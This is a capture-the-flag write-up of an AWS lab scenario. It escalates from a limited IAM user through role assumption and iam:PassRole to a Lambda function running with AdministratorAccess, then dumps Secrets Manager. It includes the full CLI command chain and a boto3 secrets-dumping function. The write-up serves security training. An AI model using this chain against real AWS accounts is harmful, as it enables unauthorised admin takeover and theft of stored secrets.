Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Assume

Target Information

Property Value
Target AWS Account 223767249945 (us-east-1)
Platform AWS IAM / STS / Lambda / Secrets Manager
Starting point IAM access key for chris-lab

Enumeration — IAM as chris-lab

aws configure --profile chris
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.
AWS Access Key ID [None]: [LAB ACCESS KEY ID OMITTED]
AWS Secret Access Key [None]: [LAB SECRET ACCESS KEY OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity --profile chris
{
    "UserId": "AIDATIGMRIQMRHFLKPKF7",
    "Account": "223767249945",
    "Arn": "arn:aws:iam::223767249945:user/chris-lab"
}

chris-lab. Checked what it could do:

aws iam list-attached-user-policies \
  --user-name chris-lab \
  --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-lab",
            "PolicyArn": "arn:aws:iam::223767249945:policy/cg-chris-policy-lab"
        }
    ]
}
aws iam list-user-policies \
  --user-name chris-lab \
  --profile chris
{
    "PolicyNames": []
}
aws iam get-policy \
  --policy-arn arn:aws:iam::223767249945:policy/cg-chris-policy-lab \
  --profile chris
{
    "Policy": {
        "PolicyName": "cg-chris-policy-lab",
        "PolicyId": "ANPATIGMRIQM2RKNDOOTH",
        "Arn": "arn:aws:iam::223767249945:policy/cg-chris-policy-lab",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-chris-policy-lab",
        "CreateDate": "2026-08-19T12:43:58+00:00",
        "UpdateDate": "2026-08-19T12:43:58+00:00",
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-chris-policy-lab"
            }
        ]
    }
}
aws iam get-policy-version \
  --policy-arn arn:aws:iam::223767249945:policy/cg-chris-policy-lab \
  --version-id v1 \
  --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "sts:AssumeRole",
                        "iam:List*",
                        "iam:Get*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "chris"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-08-19T12:43:58+00:00"
    }
}

sts:AssumeRole on Resource: "*", plus broad IAM read (iam:List*, iam:Get*). Nothing to assume yet without a target role.

Role Enumeration

aws iam list-roles \
  --profile chris \
  --query 'Roles[].{RoleName:RoleName,Arn:Arn}' \
  --output table
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
|                                                                              ListRoles                                                                              |
+----------------------------------------------------------------------------------------------------------------------------+----------------------------------------+
|                                                             Arn                                                            |               RoleName                 |
+----------------------------------------------------------------------------------------------------------------------------+----------------------------------------+
|  arn:aws:iam::223767249945:role/aws-service-role/ops.apigateway.amazonaws.com/AWSServiceRoleForAPIGateway                  |  AWSServiceRoleForAPIGateway           |
|  arn:aws:iam::223767249945:role/aws-service-role/autoscaling.amazonaws.com/AWSServiceRoleForAutoScaling                    |  AWSServiceRoleForAutoScaling          |
|  arn:aws:iam::223767249945:role/aws-service-role/elasticbeanstalk.amazonaws.com/AWSServiceRoleForElasticBeanstalk          |  AWSServiceRoleForElasticBeanstalk     |
|  arn:aws:iam::223767249945:role/aws-service-role/elasticloadbalancing.amazonaws.com/AWSServiceRoleForElasticLoadBalancing  |  AWSServiceRoleForElasticLoadBalancing |
|  arn:aws:iam::223767249945:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations                |  AWSServiceRoleForOrganizations        |
|  arn:aws:iam::223767249945:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport                            |  AWSServiceRoleForSupport              |
|  arn:aws:iam::223767249945:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor              |  AWSServiceRoleForTrustedAdvisor       |
|  arn:aws:iam::223767249945:role/cg-debug-role-lab                                                                          |  cg-debug-role-lab                     |
|  arn:aws:iam::223767249945:role/cg-lambdaManager-role-lab                                                                  |  cg-lambdaManager-role-lab             |
|  arn:aws:iam::223767249945:role/CourseStackAwsLabRole                                                                      |  CourseStackAwsLabRole                 |
|  arn:aws:iam::223767249945:role/OrganizationAccountAccessRole                                                              |  OrganizationAccountAccessRole         |
+----------------------------------------------------------------------------------------------------------------------------+----------------------------------------+

Two custom roles stood out against the AWS-managed service-linked ones: cg-debug-role-lab and cg-lambdaManager-role-lab. Checked who’s allowed to assume each.

aws iam get-role \
  --role-name cg-debug-role-lab \
  --profile chris
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-debug-role-lab",
        "RoleId": "AROATIGMRIQMZSIUW3VDQ",
        "Arn": "arn:aws:iam::223767249945:role/cg-debug-role-lab",
        "CreateDate": "2026-08-19T12:43:58+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "CloudGoat debug role",
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-lab"
            }
        ],
        "RoleLastUsed": {}
    }
}

cg-debug-role-lab only trusts the Lambda service (lambda.amazonaws.com) — not chris-lab directly.

aws iam get-role \
  --role-name cg-lambdaManager-role-lab \
  --profile chris
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambdaManager-role-lab",
        "RoleId": "AROATIGMRIQM3ZIE6DQVS",
        "Arn": "arn:aws:iam::223767249945:role/cg-lambdaManager-role-lab",
        "CreateDate": "2026-08-19T12:44:06+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::223767249945:user/chris-lab"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "CloudGoat Lambda manager role",
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-lab"
            }
        ],
        "RoleLastUsed": {}
    }
}

cg-lambdaManager-role-lab trusts chris-lab by name. That’s the one to assume. Checked what it grants first:

aws iam list-attached-role-policies \
  --role-name  cg-lambdaManager-role-lab \
  --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-lab",
            "PolicyArn": "arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab"
        }
    ]
}
aws iam list-role-policies \
  --role-name  cg-lambdaManager-role-lab \
  --profile chris
{
    "PolicyNames": []
}
aws iam get-policy \
  --policy-arn arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab \
  --profile chris
{
    "Policy": {
        "PolicyName": "cg-lambdaManager-policy-lab",
        "PolicyId": "ANPATIGMRIQM547DU5M36",
        "Arn": "arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-lambdaManager-policy-lab",
        "CreateDate": "2026-08-19T12:43:58+00:00",
        "UpdateDate": "2026-08-19T12:43:58+00:00",
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-lambdaManager-policy-lab"
            }
        ]
    }
}
aws iam get-policy-version \
  --policy-arn arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab \
  --version-id v1 \
  --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "lambdaManager"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-08-19T12:43:58+00:00"
    }
}

lambda:* and iam:PassRole on Resource: "*" — this role can create Lambda functions and pass any execution role to them, including cg-debug-role-lab. Checked what that role has attached before committing to the plan:

aws iam list-attached-role-policies \
  --role-name cg-debug-role-lab \
  --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
aws iam list-role-policies \
  --role-name cg-debug-role-lab \
  --profile chris
{
    "PolicyNames": []
}

AdministratorAccess. cg-debug-role-lab only trusts Lambda to assume it — but cg-lambdaManager-role-lab can pass that exact role to a Lambda function it creates. A function running with that execution role runs as account admin.

Lateral Movement — Assuming cg-lambdaManager-role-lab

aws sts assume-role \
  --role-arn arn:aws:iam::223767249945:role/cg-lambdaManager-role-lab \
  --role-session-name lambda-manager-session \
  --profile chris
{
    "Credentials": {
        "AccessKeyId": "[LAB CREDENTIAL OMITTED]",
        "SecretAccessKey": "[LAB CREDENTIAL OMITTED]",
        "SessionToken": "[LAB CREDENTIAL OMITTED]",
        "Expiration": "2026-08-19T14:02:25+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROATIGMRIQM3ZIE6DQVS:lambda-manager-session",
        "Arn": "arn:aws:sts::223767249945:assumed-role/cg-lambdaManager-role-lab/lambda-manager-session"
    }
}
aws configure set aws_access_key_id '[VALUE FROM STS RESPONSE]' --profile lambda-manager
aws configure set aws_secret_access_key '[VALUE FROM STS RESPONSE]' --profile lambda-manager
aws configure set aws_session_token '[VALUE FROM STS RESPONSE]' --profile lambda-manager
aws configure set region us-east-1 --profile lambda-manager
aws sts get-caller-identity --profile lambda-manager
{
    "UserId": "AROATIGMRIQM3ZIE6DQVS:lambda-manager-session",
    "Account": "223767249945",
    "Arn": "arn:aws:sts::223767249945:assumed-role/cg-lambdaManager-role-lab/lambda-manager-session"
}

Confirmed as the assumed role. No existing functions to abuse:

aws lambda list-functions \
  --profile lambda-manager \
  --query 'Functions[].{Name:FunctionName,Role:Role,Runtime:Runtime}' \
  --output table
aws lambda list-functions \
  --profile lambda-manager \
  --region us-east-1
{
    "Functions": []
}

Privilege Escalation — Lambda Confused Deputy

Nothing existing to hijack, so I built one from scratch, passing cg-debug-role-lab as its execution role:

mkdir exploit-lambda
cd exploit-lambda
nano lambda_function.py
zip function.zip lambda_function.py
  adding: lambda_function.py (deflated 25%)
aws lambda create-function \
  --function-name cg-privesc-test \
  --runtime python3.13 \
  --role arn:aws:iam::223767249945:role/cg-debug-role-lab \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip \
  --profile lambda-manager \
  --region us-east-1
{
    "FunctionName": "cg-privesc-test",
    "FunctionArn": "arn:aws:lambda:us-east-1:223767249945:function:cg-privesc-test",
    "Runtime": "python3.13",
    "Role": "arn:aws:iam::223767249945:role/cg-debug-role-lab",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 331,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2026-08-19T13:07:09.869+0000",
    "CodeSha256": "x9QIDdSUVl2Zt5WrwkySYif1d+CUszOBo1SKqB+HrlU=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "c4767750-65ac-406b-9fbb-0463cdc135f8",
    "State": "Pending",
    "StateReason": "The function is being created.",
    "StateReasonCode": "Creating",
    "PackageType": "Zip",
    "Architectures": [
        "x86_64"
    ],
    "EphemeralStorage": {
        "Size": 512
    },
    "SnapStart": {
        "ApplyOn": "None",
        "OptimizationStatus": "Off"
    },
    "RuntimeVersionConfig": {
        "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:c45043813da1baebf5ac04edcaef1a67db184ee08f1fd2b4ce1642305ee9845c"
    },
    "LoggingConfig": {
        "LogFormat": "Text",
        "LogGroup": "/aws/lambda/cg-privesc-test"
    }
}
aws lambda invoke \
  --function-name cg-privesc-test \
  --profile lambda-manager \
  --region us-east-1 \
  response.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
cat response.json | jq
{
  "statusCode": 200,
  "body": "{\"UserId\": \"AROATIGMRIQMZSIUW3VDQ:cg-privesc-test\", \"Account\": \"223767249945\", \"Arn\": \"arn:aws:sts::223767249945:assumed-role/cg-debug-role-lab/cg-privesc-test\", \"ResponseMetadata\": {\"RequestId\": \"c98c0ae9-3b4f-4366-b7b4-ef18039e37a9\", \"HTTPStatusCode\": 200, \"HTTPHeaders\": {\"x-amzn-requestid\": \"c98c0ae9-3b4f-4366-b7b4-ef18039e37a9\", \"x-amz-sts-extended-request-id\": \"MTp1cy1lYXN0LTE6UzoxNzg3MTQ0ODU5MTM1OlI6QXFMRXhNOFg=\", \"content-type\": \"text/xml\", \"content-length\": \"454\", \"date\": \"Wed, 19 Aug 2026 13:07:39 GMT\"}, \"RetryAttempts\": 0}}"
}

The function’s own identity came back as arn:aws:sts::223767249945:assumed-role/cg-debug-role-lab/cg-privesc-test — it runs as cg-debug-role-lab, which carries AdministratorAccess. Confirmed code execution as account admin.

Post-Exploitation — Secrets Manager via Lambda

With admin-equivalent code execution established, I rewrote the function to list and read every secret in the account:

import boto3
import json
def lambda_handler(event, context):
    sm = boto3.client("secretsmanager", region_name="us-east-1")
    secrets = sm.list_secrets()
    results = []
    for secret in secrets.get("SecretList", []):
        name = secret["Name"]
        try:
            value = sm.get_secret_value(SecretId=name)
            results.append({
                "Name": name,
                "SecretString": value.get("SecretString"),
                "SecretBinary": str(value.get("SecretBinary"))
            })
        except Exception as e:
            results.append({
                "Name": name,
                "Error": str(e)
            })
    return {
        "statusCode": 200,
        "body": json.dumps(results)
    }
aws lambda update-function-code \
  --function-name cg-privesc-test \
  --zip-file fileb://function2.zip \
  --profile lambda-manager \
  --region us-east-1
{
    "FunctionName": "cg-privesc-test",
    "FunctionArn": "arn:aws:lambda:us-east-1:223767249945:function:cg-privesc-test",
    "Runtime": "python3.13",
    "Role": "arn:aws:iam::223767249945:role/cg-debug-role-lab",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 508,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2026-08-19T13:14:15.000+0000",
    "CodeSha256": "QPorkHbkcD87UipfavARIEEjV9kuUvdM02heqd+yL68=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "1d4b9c4e-dc0a-44e9-a934-cd28c5c32338",
    "State": "Active",
    "LastUpdateStatus": "InProgress",
    "LastUpdateStatusReason": "The function is being created.",
    "LastUpdateStatusReasonCode": "Creating",
    "PackageType": "Zip",
    "Architectures": [
        "x86_64"
    ],
    "EphemeralStorage": {
        "Size": 512
    },
    "SnapStart": {
        "ApplyOn": "None",
        "OptimizationStatus": "Off"
    },
    "RuntimeVersionConfig": {
        "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:c45043813da1baebf5ac04edcaef1a67db184ee08f1fd2b4ce1642305ee9845c"
    },
    "LoggingConfig": {
        "LogFormat": "Text",
        "LogGroup": "/aws/lambda/cg-privesc-test"
    }
}
aws lambda wait function-updated \
  --function-name cg-privesc-test \
  --profile lambda-manager \
  --region us-east-1
aws lambda invoke \
  --function-name cg-privesc-test \
  --profile lambda-manager \
  --region us-east-1 \
  secrets.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
cat secrets.json | jq
{
  "statusCode": 200,
  "body": "[{\"Name\": \"cg-flag-lab\", \"SecretString\": \"HSM{l4mbd4_pr1v3sc_4dm1n_v1ct0ry}\", \"SecretBinary\": \"None\"}]"
}

cg-flag-lab — the flag.

Attack Path Summary

IAM user chris-lab — sts:AssumeRole + iam:List*/Get* (Resource:*), no direct admin
↓
Enumerated roles: cg-lambdaManager-role-lab trusts chris-lab
↓
Its policy grants lambda:* and iam:PassRole (Resource:*)
↓
cg-debug-role-lab (AdministratorAccess) only trusts lambda.amazonaws.com to assume it
↓
Assumed cg-lambdaManager-role-lab
↓
Created a Lambda function, passing cg-debug-role-lab as its execution role
↓
Function runs as cg-debug-role-lab — admin-equivalent code execution
↓
Rewrote the function to dump Secrets Manager
↓
cg-flag-lab → HSM{l4mbd4_pr1v3sc_4dm1n_v1ct0ry}

Credentials Found

Principal Credential Source
chris-lab [LAB ACCESS KEY / SECRET OMITTED] Starting access key for the engagement
cg-lambdaManager-role-lab (assumed) [TEMPORARY STS CREDENTIALS OMITTED] (expired 2026-08-19T14:02:25Z) sts:AssumeRole as chris-lab
Flag Value
cg-flag-lab HSM{l4mbd4_pr1v3sc_4dm1n_v1ct0ry}

Tools Used

  • AWS CLI
  • boto3 (Lambda function code)